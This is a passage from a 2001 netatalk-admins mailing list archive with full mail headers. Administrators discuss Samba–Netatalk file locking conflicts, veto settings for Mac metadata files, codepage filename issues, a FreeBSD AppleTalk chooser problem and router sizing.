-second, you will have to somehow get the mac users into the habit of
naming
their files with an extension, so that they are seen properly on windows
stations. And this is not easy, let me tell you that!

----

Make sure that you're running a version of netatalk that has working
codepage support (the current snapshots are broken in this regard, AFAIK)
if you want your users to use German umlauts and such in their
filenames. Then you need to configure both Samba and Netatalk to use the
same codepage. Current versions also have a mswindows options which
disallows the creation of filenames containing the characters

/\:*?"<>|

which the PC can't deal with (my PC actually crashes when trying to
access a file containing ':' that was created on the Mac).

I'm still looking for a version of Netatalk that has _both_ working
codepage support and a working mswindows option . . . which would really
resolve all the problems we've had.

The locking issue is another matter (see below in this thread).
Interestingly, we haven't come across a single incident of this being
a problem in about 6 months of running Netatalk/Samba in a Network with 10
Macs and 5 PCs.

-----

Albeit better than the NON-EXISTANCE of shared locking between
Samba/Netatalk (although the new Samba has a locking API, so
theoretically any program can use its locking API to "stay safe" with
Samba), NT/2k still do not lock well between the two platforms. There is
no way to lock parts of a file,  and write-locks don't exist, so both
plats can simultaneously write to the same file and possibly corrupt it
horribly.

----

To make Samba and Netatalk work together, it is a good plan to veto
those files which are automagically created by Netatalk on the Samba
side. My veto string looks like this:

/.AppleDesktop/.AppleDouble/Network Trash
Folder/TheVolumeSettingsFolder/TheFindByContentFolder/Temporary
Items/lost+found/Folder Settings/.finf/

What I have not been able to figure out is how to veto Icon^M files.
Does anybody know?

----

I wonder if collaboration between Netatalk folks and Samba folks could
occur?!

God, it would be sweet to have both coexist, eh!

On Wed, 18 Oct 2000, Mike Brodbelt wrote:

>
> Mike Fedyk wrote:
> >
> > Take a look at this output from lsof:
> > smbd    11490        0    8u   REG    3,3 55296 1136647 Maintenanc.fp5
> > afpd    31010        0    2u   REG    3,3  3207 1136655 auction - envelope.rtf
> > afpd    31010        0    5u   REG    3,3  4156 1136656 Word Work File L 1
> > afpd    31010        0    8u   REG    3,3 55296 1136647 Maintenanc.fp5
> > smbd    31386        0    9u   REG    3,3  4156 1136656 Word Work File L 1
> >
> > This is showing a rtf file open in word on mac and windows, both writable.  I am
> > able to save on one while the other has the same file open.  The information
> > isn't transferring between samba and netatalk.  Locking works within samba and
> > within netatalk, meaning mac-mac locking conflicts are reported and smb-smb
> > locking conflicts are too.  But if you have the same file open in windows and
> > mac, there isn't any warning!
>
> As I understand it, Samba 2.0.7 implements oplocks for windows clients,
> but those locks do not propagate to the underlying Unix system. This can
> cause locking problems with Unix apps and windows apps accessing the
> same files, which is essentially what you are seeing. Neither Netatalk
> or Samba have any idea that the file is locked by the other.
>
> One of the new features of Samba 2.2 is the mapping of oplocks to POSIX
> locks. From the release notes:-
>
> ========================================================
> Rewritten internal locking semantics for more robustness.
> This alpha supports full 64 bit locking semantics on all
> (even 32 bit) platforms. SMB locks are mapped onto POSIX
> locks (32 bit or 64 bit) as the underlying system allows.
> ========================================================
>
> This should mean that, assuming your undelying system supports POSIX
> locks, then Samba will have done its bit with regard to this. You still
> need Netatalk to honour the POSIX locks, and also to map Mac locks to
> POSIX locks to be able to use this sort of setup with impunity. I have
> no idea what the state of this sort of thing is within Netatalk - maybe
> someone on the Netatalk list will know this...
>
> I'd suggest that you make Mac and Windows users use different shares for
> write access. Allow both groups read-only access to the others shares,
> and if they need to edit a file, they can make a copy. Otherwise, you're
> probably in for large amounts of pain....
>
> HTH
>
> Mike.
>
>
>



From netatalk.administrators-errors@umich.edu  Tue Mar 13 10:56:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA29328
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 10:56:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06659
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 10:56:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06590
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 10:56:30 -0500 (EST)
Received: from Mail.austin.rr.com ([24.93.35.225])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA06539
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 10:56:29 -0500 (EST)
Received: from mail pickup service by Mail.austin.rr.com with Microsoft SMTPSVC;
	 Tue, 13 Mar 2001 09:43:05 -0600
Received: from sm4.texas.rr.com ([24.93.35.211]) by Mail.austin.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Tue, 6 Mar 2001 16:00:23 -0600
Received: from dolly2.pobox.com (spamsvr.pobox.com [208.210.124.100])
	by sm4.texas.rr.com (8.10.1/8.10.1) with ESMTP id f26M8X804848
	for <alterego@austin.rr.com>; Tue, 6 Mar 2001 16:08:33 -0600
Received: from dolly2 (localhost.localdomain [127.0.0.1])
	by dolly2.pobox.com (Postfix) with ESMTP id 7D3C525E7E
	for <alterego@austin.rr.com>; Tue,  6 Mar 2001 17:08:18 -0500 (EST)
Received: from terminator.rsug.itd.umich.edu (terminator.rsug.itd.umich.edu [141.213.231.10])
	by dolly2.pobox.com (Postfix) with ESMTP id 38BE125E6F
	for <jollyroger@boxpo.com>; Tue,  6 Mar 2001 17:08:18 -0500 (EST)
Received: (from slist@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) id RAA23477; Tue, 6 Mar 2001 17:07:34 -0500 (EST)
Resent-Date: Tue, 6 Mar 2001 17:07:34 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 06 Mar 2001 13:59:24 -0800
Subject: No server in chooser...newbie
From: r a n d y // <sesser@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6CA9DBC.B3D%sesser@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Resent-Message-ID: <IvSabC.A.jrF.d2Vp6@terminator.rsug.itd.umich.edu>
Resent-From: netatalk-admins@umich.edu
X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/3937
X-Loop: netatalk-admins@umich.edu
Precedence: list
Resent-Sender: netatalk-admins-request@umich.edu

I know this has probably been addressed about a million times. I just
subscribed to the list and have been looking through the archive but still
can't find a definitive solution to my problem. I can connect to my server
using the IP but nothing shows up in chooser when I select AppleShare.

Here's what I'm working with:
FreeBSD 4.2-STABLE i386
2 10/100BT NIC (Kingston) dc0 & dc1
dc0 is connected to the net via PPPoE
dc1 is connected to the MAC

#> ifconfig -u
dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet6 fe80::2c0:f0ff:fe5a:919a%dc0 prefixlen 64 scopeid 0x1
        atalk 65280.223 range 65280-65534 phase 2 broadcast 0.255
        ether 00:c0:f0:5a:91:9a
        media: autoselect (10baseT/UTP) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-du
plex> 10baseT/UTP none
dc1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 192.168.100.1 netmask 0xffffff00 broadcast 192.168.100.255
        inet6 fe80::2c0:f0ff:fe56:8d51%dc1 prefixlen 64 scopeid 0x2
        ether 00:c0:f0:56:8d:51
        media: autoselect (10baseT/UTP) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-du
plex> 10baseT/UTP none

The only modifications I have made to anyof the conf files was to
AppleVolumes.system:
#
HOME
/usr/share/muzak "MUZAK"
#

Shouldn't my second NIC (dc1) have an atalk address bound to it since that's
what's connected to my MAC? I have tried changing atalkd.conf but it gets
over-ridden when I reboot.

I have read just about every file/doc/man on my system as well as most of
the links found on asun's site. Any help would be greatly appreciated!

Thanks,
- randy
=============================
r a n d y / sesser at mac.com


From netatalk.administrators-errors@umich.edu  Tue Mar 13 11:05:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA29593
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 11:05:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10685
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 11:05:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10649
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 11:05:09 -0500 (EST)
Received: from mail.hauptsache.net (www.hauptsache.net [195.88.44.25])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA10591
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 11:05:06 -0500 (EST)
Received: from PCNH (p3E9EAA09.dip.t-dialin.net [62.158.170.9])
	by mail.hauptsache.net (8.9.3/8.9.3) with SMTP id QAA02058;
	Tue, 13 Mar 2001 16:47:28 +0100
Message-ID: <001d01c0abd7$9a004080$c0c8a8c0@haupsache.intra>
From: "Nikolas Hagelstein" <hagelstein@hauptsache.net>
To: "Axel Bringenberg" <A.Bringenberg@srz-berlin.de>
Cc: <netatalk-admins@umich.edu>
References: <Pine.LNX.4.30.0103130716140.19591-100000@www.molbio.wisc.edu> <3AAE209C.AC477DFA@srz-berlin.de>
Subject: Re: Pre 4 and 5
Date: Tue, 13 Mar 2001 15:07:30 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

> > Okay, since Pre 4 and Pre 5 have issues relating to file perms and
> > copy/delete problems on RH 7, what happened after 3 to cause these
> > problems? 
MDK7.2 also has the same problems 


> imho the problems are caused by a change in ./libatalk/adouble/ad_open.c
> from 
> admode = ad_mode( ad_p, mode );
> to
> admode = ad_mode( ad_p, O_RDWR );
May be this depends on the definiton of  O_RDWR in 
/usr/include/bits/fcntl.h (which belongs to glibc-devel)
on RH7 and MDK7.2 systems it is defined as 02...
it seems as if O_RDWR is "ANDED" with the original mode 
which is a very bad thing if O_RWDR is set to 02...
could someone who has no problems with pre4 and pre5 please
tell me what O_RDWR is set to on his system ?
thxn4ward,
                Nikolas




From netatalk.administrators-errors@umich.edu  Tue Mar 13 11:33:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA00713
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 11:33:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA27062
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 11:33:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA27032
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 11:33:06 -0500 (EST)
Received: from mail.austin.rr.com (sm1.texas.rr.com [24.93.35.54])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA26448
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 11:33:02 -0500 (EST)
Received: from mail pickup service by mail.austin.rr.com with Microsoft SMTPSVC;
	 Tue, 13 Mar 2001 10:35:04 -0600
Received: from sm4.texas.rr.com ([24.93.35.211]) by mail.austin.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Tue, 6 Mar 2001 13:18:25 -0600
Received: from dolly2.pobox.com (spamsvr.pobox.com [208.210.124.100])
	by sm4.texas.rr.com (8.10.1/8.10.1) with ESMTP id f26JFnA14695
	for <alterego@austin.rr.com>; Tue, 6 Mar 2001 13:15:49 -0600
Received: from dolly2 (localhost.localdomain [127.0.0.1])
	by dolly2.pobox.com (Postfix) with ESMTP id 8FAFF25E8B
	for <alterego@austin.rr.com>; Tue,  6 Mar 2001 14:15:48 -0500 (EST)
Received: from terminator.rsug.itd.umich.edu (terminator.rsug.itd.umich.edu [141.213.231.10])
	by dolly2.pobox.com (Postfix) with ESMTP id 0DFE725E79
	for <jollyroger@boxpo.com>; Tue,  6 Mar 2001 14:15:48 -0500 (EST)
Received: (from slist@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) id OAA16517; Tue, 6 Mar 2001 14:10:54 -0500 (EST)
Resent-Date: Tue, 6 Mar 2001 14:10:54 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 06 Mar 2001 20:02:05 +0100
Subject: Re: Bug? (not x-posted to devel): "/" in filename = "Type -50"
	error
From: Jason Quigley <jasonq@mac.com>
To: Richard Michael <rmichael@numbersixnetworks.com>,
        <netatalk-admins@umich.edu>
Message-ID: <B6CAF2BD.42F6%jasonq@mac.com>
In-Reply-To: <20010306132905.E11134@guardian.numbersixnetworks.com>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Resent-Message-ID: <D-T3jB.A.H-D.zQTp6@terminator.rsug.itd.umich.edu>
Resent-From: netatalk-admins@umich.edu
X-Mailing-List: <netatalk-admins@umich.edu> archive/latest/3933
X-Loop: netatalk-admins@umich.edu
Precedence: list
Resent-Sender: netatalk-admins-request@umich.edu

Hi Richard!

When was the last time you upgraded the server? What version are you
running?

I don't have this problem saving from within apps or copying via the finder.
I don't get this with folders either.

My version is: netatalk-1.4.99-0.20001108

Cheers,
Jason.

On 6/3/01 19:29, "Richard Michael" wrote:

> Hello,
> 
<snip> 
> I'd consider this a bug; unless it's been well documented and I haven't
> noticed.  I've checked the docs section of sourceforge, the Linux
> Netatalk HOWTO, and the Netatalk FAQ from 1.4b2.
<snip> 
> The problem is that when a file on a Mac contains the "/" character, a
> "Type -50" will be returned from the server.


From netatalk.administrators-errors@umich.edu  Tue Mar 13 12:25:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA02278
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 12:25:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA13652
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 12:25:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA13633
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 12:25:26 -0500 (EST)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA13554
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 12:25:24 -0500 (EST)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id RAA03429;
	Tue, 13 Mar 2001 17:25:28 GMT
Date: Tue, 13 Mar 2001 17:25:28 +0000 (GMT)
From: Alistair Riddell <ali@gwc.org.uk>
To: grobe@gmx.net
cc: netatalk-admins@umich.edu
Subject: Re: 1-gigabit-router for netatalk?
In-Reply-To: <23567.981369077@www21.gmx.net>
Message-ID: <Pine.LNX.4.21.0103131717320.27639-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

You haven't a hope in hell of getting anything like 1Gbps of throughput
through a regular PC acting as a router. To get anything like wire speed
you need a dedicated hardware router/switch, which uses specially designed
ASICs to get that sort of throughput. With a PentiumPro you would probably
get more like 100Mbps of throughput.

Netatalk should be OK for the AppleTalk stuff but presumably most of the
traffic will be IP which is handled solely by the kernel.

On Mon, 5 Feb 2001 grobe@gmx.net wrote:

> Hi there,
> 
> I have a question concerning networking in general and in this special case
> netatalk.
> 
> We will split our network (about 100 clients, 80 are macs, and all are
> getting data from a linux server) into 2 parts: one secure (for "service" and
> backup) which isn't reachable from the internet, one open (the pool for the
> students), which can be seen from the outside and takes the fileserver, which can
> be accessed via ftp, smb and netatalk from the outside. These two parts are
> linked by a machine which has two 1-GB-nics (to get full speed between the
> switches of the two parts) and also acts as a firewall to the internet as well
> as between the two network parts (as we don't want our users to access large
> format printers in the closed network).
> 
> So, I would like to hear your opinion if this configuration will be ok in
> general (does the firewall, which is only filtering, not masquerading, take a
> lot of cpu-power? will a 200mhz-pentiumpro be ok?) and with netatalk, which
> isn't very tolerant in bad network configurations, as far as I know. We need
> stable connections from our clients to the server, as we have a lot of very big
> files in use. So, is any body using something like this router/firewall with
> 1Gigabit and netatalk, or should we better take something prebuilt?

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Tue Mar 13 13:01:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02970
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 13:01:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA19701
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 13:01:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA19663
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 13:01:49 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA19588
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 13:01:46 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA00597;
	Tue, 13 Mar 2001 18:58:08 +0100
Message-ID: <3AAE5FB3.754927EA@euc.de>
Date: Tue, 13 Mar 2001 18:58:11 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Alistair Riddell <ali@gwc.org.uk>
CC: grobe@gmx.net, netatalk-admins@umich.edu
Subject: Re: 1-gigabit-router for netatalk?
References: <Pine.LNX.4.21.0103131717320.27639-100000@frank.gwc.org.uk>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA02970

I think Alistair is right.

You should separate the two networks with a hardware-router/switch.
Behind the switch you can place your firewall for securing the inner network.
The CPU depend on the traffic getting through. A 200MHz IMHO should be
the bottom level.
Take a cheap Pentium II or III with 400/500MHz and at least 256MB RAM.


Alistair Riddell wrote:
> 
> You haven't a hope in hell of getting anything like 1Gbps of throughput
> through a regular PC acting as a router. To get anything like wire speed
> you need a dedicated hardware router/switch, which uses specially designed
> ASICs to get that sort of throughput. With a PentiumPro you would probably
> get more like 100Mbps of throughput.
> 
> Netatalk should be OK for the AppleTalk stuff but presumably most of the
> traffic will be IP which is handled solely by the kernel.
> 
> On Mon, 5 Feb 2001 grobe@gmx.net wrote:
> 
> > Hi there,
> >
> > I have a question concerning networking in general and in this special case
> > netatalk.
> >
> > We will split our network (about 100 clients, 80 are macs, and all are
> > getting data from a linux server) into 2 parts: one secure (for "service" and
> > backup) which isn't reachable from the internet, one open (the pool for the
> > students), which can be seen from the outside and takes the fileserver, which can
> > be accessed via ftp, smb and netatalk from the outside. These two parts are
> > linked by a machine which has two 1-GB-nics (to get full speed between the
> > switches of the two parts) and also acts as a firewall to the internet as well
> > as between the two network parts (as we don't want our users to access large
> > format printers in the closed network).
> >
> > So, I would like to hear your opinion if this configuration will be ok in
> > general (does the firewall, which is only filtering, not masquerading, take a
> > lot of cpu-power? will a 200mhz-pentiumpro be ok?) and with netatalk, which
> > isn't very tolerant in bad network configurations, as far as I know. We need
> > stable connections from our clients to the server, as we have a lot of very big
> > files in use. So, is any body using something like this router/firewall with
> > 1Gigabit and netatalk, or should we better take something prebuilt?
> 
> --
> Alistair Riddell - BOFH
> IT Support Department, George Watson's College, Edinburgh
> Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
> Microsoft - because god hates us

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Tue Mar 13 15:52:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA08133
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 15:52:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA10240
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 15:52:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA10174
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 15:52:18 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA10086
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 15:52:15 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.1/8.11.1) with ESMTP id f2DKqEF17676
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 15:52:14 -0500
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210100b6d4394302f7@[216.155.36.73]>
Date: Tue, 13 Mar 2001 15:56:24 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Access privileges
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	I just installed the RPM of netatalk-1.5pre5 on an i386, and 
I just ran up against a problem.
	When I try to move a file onto the mounted netatalk volume, 
I'm getting a :"You do not have enough access privileges" error.

	Does anyone know what the problem could be?

	Ryan
__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Tue Mar 13 15:56:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA08253
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 15:56:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07520
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 15:56:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07500
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 15:56:33 -0500 (EST)
Received: from mail.iu13.k12.pa.us (mail.iu13.k12.pa.us [204.171.195.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA07423
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 15:56:30 -0500 (EST)
Received: from pegmatite.iu13.k12.pa.us (pegmatite.iu13.k12.pa.us [172.19.5.97])
	by mail.iu13.k12.pa.us (8.9.3/8.9.3) with ESMTP id PAA10223;
	Tue, 13 Mar 2001 15:56:24 -0500
Received: from localhost (localhost.localdomain [127.0.0.1])
        by pegmatite.iu13.k12.pa.us  with ESMTP id f2DKuNh01358;
        Tue, 13 Mar 2001 15:56:23 -0500
Date: Tue, 13 Mar 2001 15:56:23 -0500 (EST)
From: "Kevin M. Myer" <kevin_myer@iu13.k12.pa.us>
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
cc: Mike Brodbelt <m.brodbelt@acu.ac.uk>, Mike Fedyk <mfedyk@matchmail.com>,
        Samba ML <samba@us4.samba.org>,
        Debian User List <debian-user@lists.debian.org>,
        Netatalk ML <netatalk-admins@umich.edu>
Subject: Re: Locking propigation probelm samba to netatalk & netatalk to
 samba
In-Reply-To: <Pine.LNX.4.30.0103130856020.19591-100000@www.molbio.wisc.edu>
Message-ID: <Pine.LNX.4.33.0103131535130.1319-100000@pegmatite.iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 13 Mar 2001, Daniel E. Lautenschleger wrote:

> This is the type of information many of us have been looking for with
> respect to Netatalk and Samba coexisting in a "friendly" matter. Many of
> the replies I received when originally asking whether the two behaved
> together basically stated that the biggest problem was a Windows user and
> a Netatalk user accessing the same file at the same time.
>
> Some of the other comments regarding Samba and Netatalk being used on the
> same share...

Sorry about all the CC's: on this message.

I posted on this subject awhile back, the subject was something like "The
facts about Samba and netatalk" - search the archives.

To summarize:

the --with-netatalk option in Samba does _NOTHING_, except enable a few
#ifdefs in the samba code, which do....nothing.  There was experimental
wrapper functions for .AppleDouble support written up in 1998 but the
hooks were never placed in the runtime code to actually use these
functions.  There's no code whatsoever written to deal with cooperative
locking and as far as I know, netatalk and samba use incompatible lock
types. Also, as far as I know, the only real degree of integration with
Samba is to specify, in the smb.conf file, to block the viewing of
netatalk metafiles (.AppleDouble, etc.) and to allow deletion of the
netatalk meta files when a directory is being deleted (otherwise the
delete will return a directory not empty errno).

I requested that the samba folks remove the --with-netatalk config option
and the unused libatalk.c code since its only causing confusion and
propagation of misinformation over mailing lists (I myself thought it was
actually doing things as well for awhile, until I ran some tests and
checked the source code).  I haven't checked the code lately to see if
this was actually accomplished.

There was no interest from the samba folks to impliment this, judging from
the zero replies I got regarding updating the netatalk support.  I floated
a question to see if anyone on the netatalk list was interested in it and
got a few responses from others who had posed the same question with
generally the same ideas but nothing ever materialized from their posts or
from mine.

So I think for the time being, unless someone changes the locking
mechanism used with netatalk, its safe to say that using netatalk and
samba together is a calculated risk, i.e. you run the risk that a Mac and
a Windows machine will have open the same file and can then easily corrupt
it at worse or whoever saves last will get their changes saved at best.

Incidentally, I also reported a problem with the --enable-flock-locks
configure option with the 1.5preX series.  Samba aside, just enabling that
broke netatalk's locking mechanism, at least under kernel 2.2.X on Linux.
I never got a confirmation that this was a widespread problem, although it
occured on three machines I tested here.  However, I noticed that its
commented out in the latest 1.5-pre5 RPM .spec file so

> ----
>
> I wonder if collaboration between Netatalk folks and Samba folks could
> occur?!
>
> God, it would be sweet to have both coexist, eh!

Yes, it would be.  Have samba be aware of netatalk meta-files and have
netatalk use samba's locking mechanism.  That would equal a fully
cooperative SMB and AppleShare file share volume on a robust operating
system, something that currently can't be said for NT and Services for
Macintosh.

If anyone has an update on anything I've listed, I'd really like to hear
about it (i.e. if you are working on implimenting samba/netatalk
interoperability or if you have more info on locking problems).

Thanks,
Kevin

-- 
Kevin M. Myer
Systems Administrator
Lancaster-Lebanon Intermediate Unit 13
(717)-560-6140





From netatalk.administrators-errors@umich.edu  Tue Mar 13 16:18:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA09116
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 16:18:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA11239
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 16:18:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA11220
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 16:18:29 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA11167
